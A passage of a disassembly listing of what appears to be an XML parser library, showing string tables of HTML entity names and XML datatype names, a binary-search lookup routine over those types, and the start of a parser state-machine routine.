		unicode	0, <sigmaf>,0
		align 4
aSigma:					; DATA XREF: .text:69B20190o
		unicode	0, <sigma>,0
aShy:					; DATA XREF: .text:69B20188o
		unicode	0, <shy>,0
aSect:					; DATA XREF: .text:69B20180o
		unicode	0, <sect>,0
		align 4
aSdot:					; DATA XREF: .text:69B20178o
		unicode	0, <sdot>,0
		align 4
aScaron:				; DATA XREF: .text:69B20170o
		unicode	0, <scaron>,0
		align 4
aSbquo:					; DATA XREF: .text:69B20168o
		unicode	0, <sbquo>,0
aRsquo:					; DATA XREF: .text:69B20160o
		unicode	0, <rsquo>,0
aRsaquo:				; DATA XREF: .text:69B20158o
		unicode	0, <rsaquo>,0
		align 10h
aRlo:					; DATA XREF: .text:69B20150o
		unicode	0, <rlo>,0
aRlm:					; DATA XREF: .text:69B20148o
		unicode	0, <rlm>,0
aRle:					; DATA XREF: .text:69B20140o
		unicode	0, <rle>,0
aRho_0:					; DATA XREF: .text:69B20138o
		unicode	0, <rho>,0
aRfloor:				; DATA XREF: .text:69B20130o
		unicode	0, <rfloor>,0
		align 10h
aReg_0:					; DATA XREF: .text:69B20128o
		unicode	0, <reg>,0
aReal:					; DATA XREF: .text:69B20120o
		unicode	0, <real>,0
		align 4
aRdquo:					; DATA XREF: .text:69B20118o
		unicode	0, <rdquo>,0
aRceil:					; DATA XREF: .text:69B20110o
		unicode	0, <rceil>,0
aRarr_0:				; DATA XREF: .text:69B20108o
		unicode	0, <rarr>,0
		align 4
aRaquo:					; DATA XREF: .text:69B20100o
		unicode	0, <raquo>,0
aRang:					; DATA XREF: .text:69B200F8o
		unicode	0, <rang>,0
		align 10h
aRadic:					; DATA XREF: .text:69B200F0o
		unicode	0, <radic>,0
aRarr:					; DATA XREF: .text:69B200E8o
		unicode	0, <rArr>,0
		align 4
aPsi_0:					; DATA XREF: .text:69B200D8o
		unicode	0, <psi>,0
aProp:					; DATA XREF: .text:69B200D0o
		unicode	0, <prop>,0
		align 4
aProd:					; DATA XREF: .text:69B200C8o
		unicode	0, <prod>,0
		align 4
aPrime_0:				; DATA XREF: .text:69B200C0o
		unicode	0, <prime>,0
aPound:					; DATA XREF: .text:69B200B8o
		unicode	0, <pound>,0
aPlusmn:				; DATA XREF: .text:69B200B0o
		unicode	0, <plusmn>,0
		align 10h
aPiv:					; DATA XREF: .text:69B200A8o
		unicode	0, <piv>,0
aPhi_0:					; DATA XREF: .text:69B20098o
		unicode	0, <phi>,0
aPerp:					; DATA XREF: .text:69B20090o
		unicode	0, <perp>,0
		align 4
aPermil:				; DATA XREF: .text:69B20088o
		unicode	0, <permil>,0
		align 4
aPdf:					; DATA XREF: .text:69B20080o
		unicode	0, <pdf>,0
aPart:					; DATA XREF: .text:69B20078o
		unicode	0, <part>,0
		align 10h
aPara:					; DATA XREF: .text:69B20070o
		unicode	0, <para>,0
		align 4
aOuml_0:				; DATA XREF: .text:69B20068o
		unicode	0, <ouml>,0
		align 4
aOtimes:				; DATA XREF: .text:69B20060o
		unicode	0, <otimes>,0
		align 4
aOtilde_0:				; DATA XREF: .text:69B20058o
		unicode	0, <otilde>,0
		align 4
aOslash_0:				; DATA XREF: .text:69B20050o
		unicode	0, <oslash>,0
		align 4
aOrdm:					; DATA XREF: .text:69B20048o
		unicode	0, <ordm>,0
		align 4
aOrdf:					; DATA XREF: .text:69B20040o
		unicode	0, <ordf>,0
		align 10h
aOplus:					; DATA XREF: .text:69B20030o
		unicode	0, <oplus>,0
aOmicron_0:				; DATA XREF: .text:69B20028o
		unicode	0, <omicron>,0
aOmega_0:				; DATA XREF: .text:69B20020o
		unicode	0, <omega>,0
aOline:					; DATA XREF: .text:69B20018o
		unicode	0, <oline>,0
aOgrave_0:				; DATA XREF: .text:69B20010o
		unicode	0, <ograve>,0
		align 4
aOelig_0:				; DATA XREF: .text:69B20008o
		unicode	0, <oelig>,0
aOcirc_0:				; DATA XREF: .text:69B20000o
		unicode	0, <ocirc>,0
aOacute_0:				; DATA XREF: .text:69B1FFF8o
		unicode	0, <oacute>,0
		align 4
aNu_0:					; DATA XREF: .text:69B1FFF0o
		unicode	0, <nu>,0
		align 4
aNtilde_0:				; DATA XREF: .text:69B1FFE8o
		unicode	0, <ntilde>,0
		align 4
aNsub:					; DATA XREF: .text:69B1FFE0o
		unicode	0, <nsub>,0
		align 10h
aNotin:					; DATA XREF: .text:69B1FFD8o
		unicode	0, <notin>,0
aNods:					; DATA XREF: .text:69B1FFC8o
		unicode	0, <nods>,0
		align 4
aNi:					; DATA XREF: .text:69B1FFC0o
		unicode	0, <ni>,0
		align 10h
aNe_0:					; DATA XREF: .text:69B1FFB8o
		unicode	0, <ne>,0
		align 4
aNdash:					; DATA XREF: .text:69B1FFB0o
		unicode	0, <ndash>,0
aNbsp:					; DATA XREF: .text:69B1FFA8o
		unicode	0, <nbsp>,0
		align 10h
aNads:					; DATA XREF: .text:69B1FFA0o
		unicode	0, <nads>,0
		align 4
aNabla:					; DATA XREF: .text:69B1FF98o
		unicode	0, <nabla>,0
aMu_0:					; DATA XREF: .text:69B1FF90o
		unicode	0, <mu>,0
		align 10h
aMinus:					; DATA XREF: .text:69B1FF88o
		unicode	0, <minus>,0
aMiddot:				; DATA XREF: .text:69B1FF80o
		unicode	0, <middot>,0
		align 4
aMicro:					; DATA XREF: .text:69B1FF78o
		unicode	0, <micro>,0
aMdash:					; DATA XREF: .text:69B1FF70o
		unicode	0, <mdash>,0
aMacr:					; DATA XREF: .text:69B1FF68o
		unicode	0, <macr>,0
		align 10h
aLsquo:					; DATA XREF: .text:69B1FF58o
		unicode	0, <lsquo>,0
aLsaquo:				; DATA XREF: .text:69B1FF50o
		unicode	0, <lsaquo>,0
		align 4
aLro:					; DATA XREF: .text:69B1FF48o
		unicode	0, <lro>,0
aLrm:					; DATA XREF: .text:69B1FF40o
		unicode	0, <lrm>,0
aLre:					; DATA XREF: .text:69B1FF38o
		unicode	0, <lre>,0
aLoz:
		unicode	0, <loz>,0
aLowast:				; DATA XREF: .text:69B1FF28o
		unicode	0, <lowast>,0
		align 4
aLfloor:				; DATA XREF: .text:69B1FF20o
		unicode	0, <lfloor>,0
		align 4
aLe_0:					; DATA XREF: .text:69B1FF18o
		unicode	0, <le>,0
		align 4
aLdquo:					; DATA XREF: .text:69B1FF10o
		unicode	0, <ldquo>,0
aLceil:					; DATA XREF: .text:69B1FF08o
		unicode	0, <lceil>,0
aLarr_0:				; DATA XREF: .text:69B1FF00o
		unicode	0, <larr>,0
		align 4
aLaquo:					; DATA XREF: .text:69B1FEF8o
		unicode	0, <laquo>,0
aLang:					; DATA XREF: .text:69B1FEF0o
		unicode	0, <lang>,0
		align 10h
aLambda_0:				; DATA XREF: .text:69B1FEE8o
		unicode	0, <lambda>,0
		align 10h
aLarr:					; DATA XREF: .text:69B1FEE0o
		unicode	0, <lArr>,0
		align 4
aKappa_0:				; DATA XREF: .text:69B1FED8o
		unicode	0, <kappa>,0
aIuml_0:				; DATA XREF: .text:69B1FED0o
		unicode	0, <iuml>,0
		align 4
aIss:					; DATA XREF: .text:69B1FEC8o
		unicode	0, <iss>,0
aIsin:					; DATA XREF: .text:69B1FEC0o
		unicode	0, <isin>,0
		align 4
aIquest:				; DATA XREF: .text:69B1FEB8o
		unicode	0, <iquest>,0
		align 4
aIota_0:				; DATA XREF: .text:69B1FEB0o
		unicode	0, <iota>,0
		align 4
aInfin:					; DATA XREF: .text:69B1FEA0o
		unicode	0, <infin>,0
aImage:					; DATA XREF: .text:69B1FE98o
		unicode	0, <image>,0
aIgrave_0:				; DATA XREF: .text:69B1FE90o
		unicode	0, <igrave>,0
		align 4
aIexcl:					; DATA XREF: .text:69B1FE88o
		unicode	0, <iexcl>,0
aIcirc_0:				; DATA XREF: .text:69B1FE80o
		unicode	0, <icirc>,0
aIafs:					; DATA XREF: .text:69B1FE78o
		unicode	0, <iafs>,0
		align 10h
aIacute_0:				; DATA XREF: .text:69B1FE70o
		unicode	0, <iacute>,0
		align 10h
aHellip:				; DATA XREF: .text:69B1FE68o
		unicode	0, <hellip>,0
		align 10h
aHearts:				; DATA XREF: .text:69B1FE60o
		unicode	0, <hearts>,0
		align 10h
aHarr_0:				; DATA XREF: .text:69B1FE58o
		unicode	0, <harr>,0
		align 4
aHarr:					; DATA XREF: .text:69B1FE50o
		unicode	0, <hArr>,0
		align 4
aGe_0:					; DATA XREF: .text:69B1FE40o
		unicode	0, <ge>,0
		align 10h
aGamma_0:				; DATA XREF: .text:69B1FE38o
		unicode	0, <gamma>,0
aFrasl:					; DATA XREF: .text:69B1FE30o
		unicode	0, <frasl>,0
aFrac34:				; DATA XREF: .text:69B1FE28o
		unicode	0, <frac34>,0
		align 4
aFrac14:				; DATA XREF: .text:69B1FE20o
		unicode	0, <frac14>,0
		align 4
aFrac12:				; DATA XREF: .text:69B1FE18o
		unicode	0, <frac12>,0
		align 4
aForall:				; DATA XREF: .text:69B1FE10o
		unicode	0, <forall>,0
		align 4
aFnof:					; DATA XREF: .text:69B1FE08o
		unicode	0, <fnof>,0
		align 4
aExist:					; DATA XREF: .text:69B1FE00o
		unicode	0, <exist>,0
aEuml:					; DATA XREF: .text:69B1FDF8o
		unicode	0, <euml>,0
		align 4
aEth_0:					; DATA XREF: .text:69B1FDF0o
		unicode	0, <eth>,0
aEta:					; DATA XREF: .text:69B1FDE8o
		unicode	0, <eta>,0
aEquiv:					; DATA XREF: .text:69B1FDE0o
		unicode	0, <equiv>,0
aEpsilon_0:				; DATA XREF: .text:69B1FDD8o
		unicode	0, <epsilon>,0
aEnsp:					; DATA XREF: .text:69B1FDD0o
		unicode	0, <ensp>,0
		align 4
aEmsp:					; DATA XREF: .text:69B1FDC8o
		unicode	0, <emsp>,0
		align 10h
aEmpty_0:				; DATA XREF: .text:69B1FDC0o
					; .data:69B92260o
		unicode	0, <empty>,0
aEgrave_0:				; DATA XREF: .text:69B1FDB8o
		unicode	0, <egrave>,0
		align 4
aEcirc_0:				; DATA XREF: .text:69B1FDB0o
		unicode	0, <ecirc>,0
aEacute_0:				; DATA XREF: .text:69B1FDA8o
		unicode	0, <eacute>,0
		align 4
aDivide:				; DATA XREF: .text:69B1FDA0o
		unicode	0, <divide>,0
		align 4
aDiams:					; DATA XREF: .text:69B1FD98o
		unicode	0, <diams>,0
aDelta_0:				; DATA XREF: .text:69B1FD90o
		unicode	0, <delta>,0
aDeg:					; DATA XREF: .text:69B1FD88o
		unicode	0, <deg>,0
aDarr_0:				; DATA XREF: .text:69B1FD80o
		unicode	0, <darr>,0
		align 4
aDagger_0:				; DATA XREF: .text:69B1FD78o
		unicode	0, <dagger>,0
		align 4
aDarr:					; DATA XREF: .text:69B1FD70o
		unicode	0, <dArr>,0
		align 10h
aCurren:				; DATA XREF: .text:69B1FD68o
		unicode	0, <curren>,0
		align 10h
aCup:					; DATA XREF: .text:69B1FD60o
		unicode	0, <cup>,0
aCrarr:					; DATA XREF: .text:69B1FD58o
		unicode	0, <crarr>,0
aCopy_0:				; DATA XREF: .text:69B1FD50o
		unicode	0, <copy>,0
		align 10h
aCong:					; DATA XREF: .text:69B1FD48o
		unicode	0, <cong>,0
		align 4
aClubs:					; DATA XREF: .text:69B1FD40o
		unicode	0, <clubs>,0
aCirc:					; DATA XREF: .text:69B1FD38o
		unicode	0, <circ>,0
		align 4
aChi_0:					; DATA XREF: .text:69B1FD30o
		unicode	0, <chi>,0
aCent:					; DATA XREF: .text:69B1FD28o
		unicode	0, <cent>,0
		align 4
aCedil:					; DATA XREF: .text:69B1FD20o
		unicode	0, <cedil>,0
aCcedil_0:				; DATA XREF: .text:69B1FD18o
		unicode	0, <ccedil>,0
		align 4
aCap:					; DATA XREF: .text:69B1FD10o
		unicode	0, <cap>,0
aBull:					; DATA XREF: .text:69B1FD08o
		unicode	0, <bull>,0
		align 4
aBrvbar:				; DATA XREF: .text:69B1FD00o
		unicode	0, <brvbar>,0
		align 4
aBeta_0:				; DATA XREF: .text:69B1FCF8o
		unicode	0, <beta>,0
		align 4
aBdquo:					; DATA XREF: .text:69B1FCF0o
		unicode	0, <bdquo>,0
aAuml_0:				; DATA XREF: .text:69B1FCE8o
		unicode	0, <auml>,0
		align 4
aAtilde_0:				; DATA XREF: .text:69B1FCE0o
		unicode	0, <atilde>,0
		align 4
aAsymp:					; DATA XREF: .text:69B1FCD8o
		unicode	0, <asymp>,0
aAss:					; DATA XREF: .text:69B1FCD0o
		unicode	0, <ass>,0
aAring_0:				; DATA XREF: .text:69B1FCC8o
		unicode	0, <aring>,0
aAng:					; DATA XREF: .text:69B1FCB8o
		unicode	0, <ang>,0
aAlpha_0:				; DATA XREF: .text:69B1FCA0o
		unicode	0, <alpha>,0
aAlefsym:				; DATA XREF: .text:69B1FC98o
		unicode	0, <alefsym>,0
aAgrave_0:				; DATA XREF: .text:69B1FC90o
		unicode	0, <agrave>,0
		align 10h
aAelig_0:				; DATA XREF: .text:69B1FC88o
		unicode	0, <aelig>,0
aAcute:					; DATA XREF: .text:69B1FC80o
		unicode	0, <acute>,0
aAcirc:					; DATA XREF: .text:69B1FC78o
		unicode	0, <acirc>,0
aAafs:					; DATA XREF: .text:69B1FC70o
		unicode	0, <aafs>,0
		align 10h
aAacute_0:				; DATA XREF: .text:69B1FC68o
		unicode	0, <aacute>,0
		align 10h
aZeta:					; DATA XREF: .text:69B1FC60o
		unicode	0, <Zeta>,0
		align 4
aYuml:					; DATA XREF: .text:69B1FC58o
		unicode	0, <Yuml>,0
		align 4
aYacute:				; DATA XREF: .text:69B1FC50o
		unicode	0, <Yacute>,0
		align 4
aXi:					; DATA XREF: .text:69B1FC48o
		unicode	0, <Xi>,0
		align 10h
aUuml_0:				; DATA XREF: .text:69B1FC40o
		unicode	0, <Uuml>,0
		align 4
aUpsilon_0:				; DATA XREF: .text:69B1FC38o
		unicode	0, <Upsilon>,0
aUgrave_0:				; DATA XREF: .text:69B1FC30o
		unicode	0, <Ugrave>,0
		align 4
aUcirc_0:				; DATA XREF: .text:69B1FC28o
		unicode	0, <Ucirc>,0
aUacute_0:				; DATA XREF: .text:69B1FC20o
		unicode	0, <Uacute>,0
		align 4
aTheta:					; DATA XREF: .text:69B1FC18o
		unicode	0, <Theta>,0
aTau:					; DATA XREF: .text:69B1FC10o
		unicode	0, <Tau>,0
aTrade:					; DATA XREF: .text:69B1FC08o
		unicode	0, <TRADE>,0
aThorn:					; DATA XREF: .text:69B1FC00o
		unicode	0, <THORN>,0
aSigma_0:				; DATA XREF: .text:69B1FBF8o
		unicode	0, <Sigma>,0
aScaron_0:				; DATA XREF: .text:69B1FBF0o
		unicode	0, <Scaron>,0
		align 10h
aRho:					; DATA XREF: .text:69B1FBE8o
		unicode	0, <Rho>,0
aReg:					; DATA XREF: .text:69B1FBE0o
		unicode	0, <REG>,0
aQuot_2:				; DATA XREF: .text:69B1FBD8o
		unicode	0, <QUOT>,0
		align 4
aPsi:					; DATA XREF: .text:69B1FBD0o
		unicode	0, <Psi>,0
aPrime:					; DATA XREF: .text:69B1FBC8o
		unicode	0, <Prime>,0
aPi_0:					; DATA XREF: .text:69B1FBC0o
		unicode	0, <Pi>,0
		align 4
aPhi:					; DATA XREF: .text:69B1FBB8o
		unicode	0, <Phi>,0
aOuml:					; DATA XREF: .text:69B1FBB0o
		unicode	0, <Ouml>,0
		align 4
aOtilde:				; DATA XREF: .text:69B1FBA8o
		unicode	0, <Otilde>,0
		align 4
aOslash:				; DATA XREF: .text:69B1FBA0o
		unicode	0, <Oslash>,0
		align 4
aOmicron:				; DATA XREF: .text:69B1FB98o
		unicode	0, <Omicron>,0
aOmega:					; DATA XREF: .text:69B1FB90o
		unicode	0, <Omega>,0
aOgrave:				; DATA XREF: .text:69B1FB88o
		unicode	0, <Ograve>,0
		align 4
aOcirc:					; DATA XREF: .text:69B1FB80o
		unicode	0, <Ocirc>,0
aOacute:				; DATA XREF: .text:69B1FB78o
		unicode	0, <Oacute>,0
		align 4
aOelig:					; DATA XREF: .text:69B1FB70o
		unicode	0, <OElig>,0
aNu:					; DATA XREF: .text:69B1FB68o
		unicode	0, <Nu>,0
		align 4
aNtilde:				; DATA XREF: .text:69B1FB60o
		unicode	0, <Ntilde>,0
		align 4
aMu:					; DATA XREF: .text:69B1FB58o
		unicode	0, <Mu>,0
		align 10h
aLambda:				; DATA XREF: .text:69B1FB50o
		unicode	0, <Lambda>,0
		align 10h
aLt_3:					; DATA XREF: .text:69B1FB48o
		unicode	0, <LT>,0
		align 4
aKappa:					; DATA XREF: .text:69B1FB40o
		unicode	0, <Kappa>,0
aIuml:					; DATA XREF: .text:69B1FB38o
		unicode	0, <Iuml>,0
		align 10h
aIota:					; DATA XREF: .text:69B1FB30o
		unicode	0, <Iota>,0
		align 4
aIgrave:				; DATA XREF: .text:69B1FB28o
		unicode	0, <Igrave>,0
		align 4
aIcirc:					; DATA XREF: .text:69B1FB20o
		unicode	0, <Icirc>,0
aIacute:				; DATA XREF: .text:69B1FB18o
		unicode	0, <Iacute>,0
		align 4
aGamma:					; DATA XREF: .text:69B1FB10o
		unicode	0, <Gamma>,0
aGt_3:					; DATA XREF: .text:69B1FB08o
		unicode	0, <GT>,0
		align 4
aEuml_0:
		unicode	0, <Euml>,0
		align 4
aEta_0:
		unicode	0, <Eta>,0
aEpsilon:				; DATA XREF: .text:69B1FAF0o
		unicode	0, <Epsilon>,0
aEgrave:				; DATA XREF: .text:69B1FAE8o
		unicode	0, <Egrave>,0
		align 10h
aEcirc:					; DATA XREF: .text:69B1FAE0o
		unicode	0, <Ecirc>,0
aEacute:				; DATA XREF: .text:69B1FAD8o
		unicode	0, <Eacute>,0
		align 4
aEth:					; DATA XREF: .text:69B1FAD0o
		unicode	0, <ETH>,0
aDelta:					; DATA XREF: .text:69B1FAC8o
		unicode	0, <Delta>,0
aDagger:				; DATA XREF: .text:69B1FAC0o
		unicode	0, <Dagger>,0
		align 10h
aChi:					; DATA XREF: .text:69B1FAB8o
		unicode	0, <Chi>,0
aCcedil:				; DATA XREF: .text:69B1FAB0o
		unicode	0, <Ccedil>,0
		align 4
aCopy:					; DATA XREF: .text:69B1FAA8o
		unicode	0, <COPY>,0
		align 4
aBeta:					; DATA XREF: .text:69B1FAA0o
		unicode	0, <Beta>,0
		align 10h
aAuml:					; DATA XREF: .text:69B1FA98o
		unicode	0, <Auml>,0
		align 4
aAtilde:				; DATA XREF: .text:69B1FA90o
		unicode	0, <Atilde>,0
		align 4
aAring:					; DATA XREF: .text:69B1FA88o
		unicode	0, <Aring>,0
aAlpha:					; DATA XREF: .text:69B1FA80o
		unicode	0, <Alpha>,0
aAgrave:				; DATA XREF: .text:69B1FA78o
		unicode	0, <Agrave>,0
		align 4
aAcirc_0:
		unicode	0, <Acirc>,0
aAacute:				; DATA XREF: .text:69B1FA68o
		unicode	0, <Aacute>,0
		align 10h
aAmp_2:					; DATA XREF: .text:69B1FA60o
		unicode	0, <AMP>,0
aAelig:					; DATA XREF: .text:off_69B1FA58o
		unicode	0, <AElig>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B20F54	proc near		; CODE XREF: sub_69B14EAC+B3p
					; sub_69B1BEB8+8B6Cp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		call	sub_69B2F43C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_69B20F6F
		xor	eax, eax
		jmp	locret_69B2100D
; ---------------------------------------------------------------------------


loc_69B20F6F:				; CODE XREF: sub_69B20F54+12j
		push	ebx
		push	esi
		push	edi
		mov	ecx, eax
		call	sub_69B2F202
		mov	edi, eax
		mov	eax, [edi+0Ch]
		mov	[ebp+var_8], eax
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		push	12h
		pop	esi
		push	[ebp+var_8]
		mov	[ebp+var_C], 27h
		push	ds:off_69B210A8
		mov	ebx, offset off_69B21018
		mov	[ebp+var_4], 25h
		jmp	short loc_69B20FCC
; ---------------------------------------------------------------------------


loc_69B20FA8:				; CODE XREF: sub_69B20F54+81j
		test	esi, esi
		jz	short loc_69B20FDD
		test	eax, eax
		jge	short loc_69B20FB9
		inc	esi
		sub	[ebp+var_4], esi
		lea	ebx, [ebx+esi*8]
		jmp	short loc_69B20FBC
; ---------------------------------------------------------------------------


loc_69B20FB9:				; CODE XREF: sub_69B20F54+5Aj
		mov	[ebp+var_4], esi


loc_69B20FBC:				; CODE XREF: sub_69B20F54+63j
		mov	eax, [ebp+var_4]
		push	[ebp+var_8]
		cdq
		sub	eax, edx
		mov	esi, eax
		sar	esi, 1
		push	dword ptr [ebx+esi*8]


loc_69B20FCC:				; CODE XREF: sub_69B20F54+52j
		call	sub_69B84A8E
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_69B20FA8
		mov	esi, [ebx+esi*8+4]
		jmp	short loc_69B20FE0
; ---------------------------------------------------------------------------


loc_69B20FDD:				; CODE XREF: sub_69B20F54+56j
		mov	esi, [ebp+var_C]


loc_69B20FE0:				; CODE XREF: sub_69B20F54+87j
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]
		cmp	[ebp+arg_4], 0
		jz	short loc_69B21008
		cmp	esi, 27h
		jnz	short loc_69B21008
		push	0
		push	[ebp+arg_0]
		push	0C00CE21Ch
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B21008:				; CODE XREF: sub_69B20F54+96j
					; sub_69B20F54+9Bj
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx

locret_69B2100D:			; CODE XREF: sub_69B20F54+16j
		leave
		retn	8
sub_69B20F54	endp

; ---------------------------------------------------------------------------
		align 8
off_69B21018	dd offset aBin_base64	; DATA XREF: sub_69B20F54+46o
					; "bin.base64"
		dd 0Ch
		dd offset aBin_hex	; "bin.hex"
		dd 0Dh
		dd offset aBoolean	; "boolean"
		dd 0Eh
		dd offset aChar		; "char"
		dd 0Fh
		dd offset aDate		; "date"
		dd 10h
		dd offset aDatetime	; "datetime"
		dd 11h
		dd offset aDatetime_tz	; "datetime.tz"
		dd 12h
		dd offset aEntities	; "entities"
		dd 6
		dd offset aEntity_0	; "entity"
		dd 5
		dd offset aEnumeration	; "enumeration"
		dd 0Ah
		dd offset aFixed_14_4	; "fixed.14.4"
		dd 13h
		dd offset aFloat	; "float"
		dd 14h
		dd offset aFloat_ieee_754 ; "float.ieee.754.32"
		dd 15h
		dd offset aFloat_ieee_7_0 ; "float.ieee.754.64"
		dd 16h
		dd offset aI1		; "i1"
		dd 17h
		dd offset aI2		; "i2"
		dd 18h
		dd offset aI4		; "i4"
		dd 19h
		dd offset aI8		; "i8"
		dd 1Ah
off_69B210A8	dd offset aId		; DATA XREF: sub_69B20F54+40r
					; "id"
		dd 2
		dd offset aIdref	; "idref"
		dd 3
		dd offset aIdrefs	; "idrefs"
		dd 4
		dd offset aInt		; "int"
		dd 1Bh
		dd offset aNmtoken	; "nmtoken"
		dd 7
		dd offset aNmtokens	; "nmtokens"
		dd 8
		dd offset aNotation_0	; "notation"
		dd 9
		dd offset aNumber	; "number"
		dd 1Ch
		dd offset aR4		; "r4"
		dd 1Dh
		dd offset aR8		; "r8"
		dd 1Eh
		dd offset aString	; "string"
		dd 1
		dd offset aTime		; "time"
		dd 1Fh
		dd offset aTime_tz	; "time.tz"
		dd 20h
		dd offset aUi1		; "ui1"
		dd 21h
		dd offset aUi2		; "ui2"
		dd 22h
		dd offset aUi4		; "ui4"
		dd 23h
		dd offset aUi8		; "ui8"
		dd 24h
		dd offset aUri		; "uri"
		dd 25h
		dd offset aUuid_0	; "uuid"
		dd 26h
aFloat_ieee_7_0:			; DATA XREF: .text:69B21080o
		unicode	0, <float.ieee.754.64>,0
aFloat_ieee_754:			; DATA XREF: .text:69B21078o
		unicode	0, <float.ieee.754.32>,0
aDatetime_tz:				; DATA XREF: .text:69B21048o
		unicode	0, <datetime.tz>,0
aDatetime:				; DATA XREF: .text:69B21040o
		unicode	0, <datetime>,0
		align 4
aUuid_0:				; DATA XREF: .text:69B21138o
					; .data:69B96428o
		unicode	0, <uuid>,0
		align 10h
aUri:					; DATA XREF: .text:69B21130o
					; .data:69B96424o
		unicode	0, <uri>,0
aUi8:					; DATA XREF: .text:69B21128o
					; .data:69B96420o
		unicode	0, <ui8>,0
aUi4:					; DATA XREF: .text:69B21120o
					; .data:69B9641Co
		unicode	0, <ui4>,0
aUi2:					; DATA XREF: .text:69B21118o
					; .data:69B96418o
		unicode	0, <ui2>,0
aUi1:					; DATA XREF: .text:69B21110o
					; .data:69B96414o
		unicode	0, <ui1>,0
aTime_tz:				; DATA XREF: .text:69B21108o
					; .data:69B96410o
		unicode	0, <time.tz>,0
aTime:					; DATA XREF: .text:69B21100o
					; .data:69B9640Co
		unicode	0, <time>,0
		align 4
aR8:					; DATA XREF: .text:69B210F0o
					; .data:69B96408o
		unicode	0, <r8>,0
		align 4
aR4:					; DATA XREF: .text:69B210E8o
					; .data:69B96404o
		unicode	0, <r4>,0
		align 4
aInt:					; DATA XREF: .text:69B1FEA8o
					; .text:69B210C0o ...
		unicode	0, <int>,0
aI8:					; DATA XREF: .text:69B210A0o
					; .data:69B963F8o
		unicode	0, <i8>,0
		align 4
aI4:					; DATA XREF: .text:69B21098o
					; .data:69B963F4o
		unicode	0, <i4>,0
		align 4
aI2:					; DATA XREF: .text:69B21090o
					; .data:69B963F0o
		unicode	0, <i2>,0
		align 4
aI1:					; DATA XREF: .text:69B21088o
					; .data:69B963ECo
		unicode	0, <i1>,0
		align 4
aFloat:					; DATA XREF: .text:69B21070o
					; .data:69B963E0o
		unicode	0, <float>,0
aFixed_14_4:				; DATA XREF: .text:69B21068o
					; .data:69B963DCo
		unicode	0, <fixed.14.4>,0
		align 10h
aChar:					; DATA XREF: .text:69B21030o
					; .data:69B963CCo
		unicode	0, <char>,0
		align 4
aBin_hex:				; DATA XREF: .text:69B21020o
					; .data:69B963C4o
		unicode	0, <bin.hex>,0
aBin_base64:				; DATA XREF: .text:off_69B21018o
					; .data:69B963C0o
		unicode	0, <bin.base64>,0
		align 4
aEnumeration:				; DATA XREF: .text:69B21060o
					; .data:69B922ACo ...
		unicode	0, <enumeration>,0
aNotation_0:				; DATA XREF: .text:69B210D8o
					; .data:69B963B4o ...
		unicode	0, <notation>,0
		align 10h
aNmtokens:				; DATA XREF: .text:69B210D0o
					; .data:69B922A8o ...
		unicode	0, <nmtokens>,0
		align 4
aNmtoken:				; DATA XREF: .text:69B210C8o
					; .data:69B922A4o ...
		unicode	0, <nmtoken>,0
aEntities:				; DATA XREF: .text:69B21050o
					; .data:69B922A0o ...
		unicode	0, <entities>,0
		align 4
aEntity_0:				; DATA XREF: .text:69B21058o
					; .data:69B9229Co ...
		unicode	0, <entity>,0
		align 4
aIdrefs:				; DATA XREF: .text:69B210B8o
					; .data:69B92298o ...
		unicode	0, <idrefs>,0
		align 4
aIdref:					; DATA XREF: .text:69B210B0o
					; .data:69B92294o ...
		unicode	0, <idref>,0
aId:					; DATA XREF: .text:off_69B210A8o
					; .text:69B5EE30o ...
		unicode	0, <id>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2132A	proc near		; CODE XREF: sub_69B347D3+18Cj
					; sub_69B3576E+CBj
					; DATA XREF: ...

var_8		= byte ptr -8
lpStr2		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		cmp	eax, 0Ch	; switch 13 cases
		push	edi
		ja	loc_69B2173E	; default
		jmp	ds:off_69B21748[eax*4] ; switch	jump


loc_69B21348:				; DATA XREF: .text:off_69B21748o
		mov	al, [esi+0A8h]	; jumptable 69B21341 case 0
		test	al, al
		mov	[esi+0B1h], al
		mov	byte ptr [esi+8Dh], 0
		jnz	short loc_69B21371
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B21378
; ---------------------------------------------------------------------------


loc_69B21371:				; CODE XREF: sub_69B2132A+33j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B21378:				; CODE XREF: sub_69B2132A+45j
		test	eax, eax
		jnz	loc_69B21743
		mov	ecx, [esi+34h]
		call	sub_69B35F5B
		test	eax, eax
		jl	loc_69B21743
		mov	ecx, [esi+34h]
		push	0
		call	sub_69B318D1
		mov	ax, [esi+52h]
		cmp	ax, 78h
		jz	short loc_69B21401
		cmp	ax, 58h
		jz	short loc_69B21401
		mov	word ptr [esi+4], 1


loc_69B213B0:				; CODE XREF: sub_69B2132A+17j
					; DATA XREF: .text:off_69B21748o
		push	2		; jumptable 69B21341 case 1
		push	offset sub_69B32791
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	loc_69B21743
		mov	ecx, esi
		call	sub_69B32791
		test	eax, eax
		jl	loc_69B21743
		mov	word ptr [esi+4], 2


loc_69B213DB:				; CODE XREF: sub_69B2132A+17j
					; DATA XREF: .text:off_69B21748o
		cmp	byte ptr [esi+5Ch], 0 ;	jumptable 69B21341 case	2
		jnz	loc_69B214F7
		cmp	word ptr [esi+52h], 3Fh
		jz	short loc_69B2140C
		mov	eax, [esi+34h]
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
		jz	short loc_69B2140C
		mov	eax, 0C00CE505h
		jmp	loc_69B21743
; ---------------------------------------------------------------------------


loc_69B21401:				; CODE XREF: sub_69B2132A+78j
					; sub_69B2132A+7Ej
